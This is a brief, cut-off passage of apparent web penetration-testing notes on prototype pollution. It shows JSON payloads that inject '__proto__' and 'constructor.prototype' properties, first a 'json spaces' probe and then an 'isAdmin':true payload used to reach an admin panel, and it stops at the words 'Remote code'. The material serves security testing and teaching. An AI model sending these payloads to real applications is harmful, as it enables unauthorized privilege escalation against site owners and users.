Prototype Pollution, Web Pen Testing, Burpsuite, Penetration Testing.
object with a json spaces property."__proto__": { "json spaces":10} The response remains unaffected Modify the request , constructor is injected "constructor": { "prototype": { "json spaces":10 } } "constructor": { "prototype": { "isAdmin":true } } And we can access admin panel Remote code